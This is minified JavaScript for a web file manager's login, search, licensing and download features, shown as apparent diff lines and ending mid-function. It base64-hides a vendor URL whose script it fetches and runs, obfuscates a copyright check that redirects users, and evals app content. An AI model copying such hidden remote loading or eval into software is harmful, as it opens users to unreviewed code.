-define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(){var e=$("#username").val(),i=$("#password").val(),a=$("input[name=rember_password]").attr("checked")?1:0,n="./index.php?user/loginSubmit&name="+urlEncode(e)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(i)+"&rember_password="+a+"&is_ajax=1";return $.ajax({dataType:"json",url:n,error:core.ajaxError,success:function(e){if("ok"!=e.data&&$(".msg").show().html(e.data),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),!1};e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input");a.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var e=a.val();""==e?($.dialog.tips(LNG.not_null),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?($.dialog.tips(LNG.not_null),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t,i)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n=''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),n},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload"); -var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var 